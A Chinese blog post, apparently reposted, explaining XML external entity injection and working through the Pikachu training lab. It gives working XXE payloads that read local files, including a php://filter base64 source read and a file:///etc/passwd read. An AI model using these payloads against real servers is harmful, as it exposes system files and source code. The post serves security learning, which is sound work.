Pikachu-XXE「建议收藏」

Pikachu-XXE「建议收藏」0x00XXE-“xmlexternalentityinjection”既”xml外部实体注入漏洞”。概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从…

大家好,又见面了,我是你们的朋友全栈君。

0x00 XXE -“xml external entity injection”

既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。 

作者写的不是太好懂,这里多补充一点。
XML概念:
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:

XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。

XML结构:

第一部分:XML声明部分
<?xml version="1.0"?>

第二部分:文档类型定义 DTD
<!DOCTYPE note[ <!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>

第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD。

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种,具体的示例可以看下面的xxe漏洞:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
在这里插入图片描述


0x01 xxe漏洞

在这里插入图片描述
这里真的把我坑了很久,在理解完xxe以后,用自己构造的payload始终无法成功,然后用源代码里面的payload同样无法成功,试过apachemime.types修改无效,最终只能放弃php5.5回到phpstudy中使用php5.4成功执行。payload如下:

<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>

payload&hacker;是用来将hacker这个实体进行调用,hacker实体成功在前端回显。
在这里插入图片描述
接下来使用外部的时候又出问题了,换了各种文件都不太行,不管是其它的文件还是同目录文件都不行。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [ <!ENTITY xxe SYSTEM "file:///D://Programs//PHPStudy//WWW//pikachu//vul//xxe//xxe.php">]>
<name>&xxe;</name>

抱着尝试着心理去试了下php协议,成了。

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

在这里插入图片描述
查了各种资料,折腾了三个小时,哎,不晓得是哪有问题,以后再慢慢研究吧。


11/25/2019更新
问题解决了,之前不能正常使用的原因是升级了php5.5后,有一些php包没有安装,所以无法执行外部实体,在做其它靶场的时候把问题解决了。php55-php-xmlphp55-php-fpm两个包安装就好了。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

centos中正常完成复现。
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142312.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • java输入输出的方法

    java输入输出的方法java输入输出目录一、控制台输入输出二、文件读写一、控制台输入输出 java控制台的输入输出主要依赖于scanner类,使用Scannerscanner=newScanner(System.in)获取了控制台输入的字段,其中system.in就表示这个对象读取的是控制台。publicstaticvoidmain(String[]args){Scannerscanner=newScanner(System.in);while(sc

  • java 常量池和运行时常量池_常量池中的字符串是对象吗

    java 常量池和运行时常量池_常量池中的字符串是对象吗简介:这几天在看Java虚拟机方面的知识时,看到了有几种不同常量池的说法,然后我就去CSDN、博客园等上找资料,里面说的内容真是百花齐放,各自争艳,因此,我好好整理了一下,将我自认为对的理解写下来与大家共同探讨:在Java的内存分配中,总共3种常量池:1.字符串常量池(StringConstantPool):1.1:字符串常量池在Java内存区域的哪个位置?在JDK6.0及之前版本,字符串

  • 用html设计一个动漫网站_javascript登录

    用html设计一个动漫网站_javascript登录1.前端三门技术学习Web前端技术需要掌握三门基本技术:HTML,CSS,JavaScript:HTML:HTML是网页内容的载体。内容就是网页制作者放在页面上想要用户浏览的信息,可以包含文件、图片、视频等CSS:CSS样式是表现,就像网页的外衣比字体、颜色变化等JavaScript:JavaScript用来实现网页上的特效效果。比如鼠标滑过弹出下拉菜单、鼠标滑过北京颜色改变等本次项目主要是介绍海贼王主题的简介,使用html+css+javascript来制作网站,实现项目的效果;index.h

  • 从零实现SpringBoot简易读写分离,也不难嘛!

    点击上方“全栈程序员社区”,星标公众号 重磅干货,第一时间送达 作者:温安适 my.oschina.net/floor/blog/1632565 最近在学习Spring boot,…

  • Android APK 签名校验[通俗易懂]

    Android APK 签名校验[通俗易懂]非对称加密算法非对称加密算法需要两个密钥:公开密钥(简称公钥)和私有密钥(简称私钥)。公钥与私钥是一对,如果用公钥对数据进行加密,只有用对应的私钥才能解密;如果用私钥对数据进行加密,那么只有用对应的公钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。非对称加密算法是数字签名和数字证书的基础,大家非常熟悉的RSA就是非对称加密算法的一种实现。消息摘要算

  • 单片机led点阵显示程序_LED点阵

    单片机led点阵显示程序_LED点阵单片机LED点阵一、简述     使用8×8LED点阵显示汉字。向上滚动"中华"两个汉字。   文件打包:链接:https://pan.baidu.com/s/1oHSAIY6qVA7qFFWUvMvJEA密码:snyg二、效果三、工程文件结构1、Keil工程2、仿真电路图四、代码88led.c文件#include&lt;reg51.h&gt;#defineuintunsigne…

    2022年10月22日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号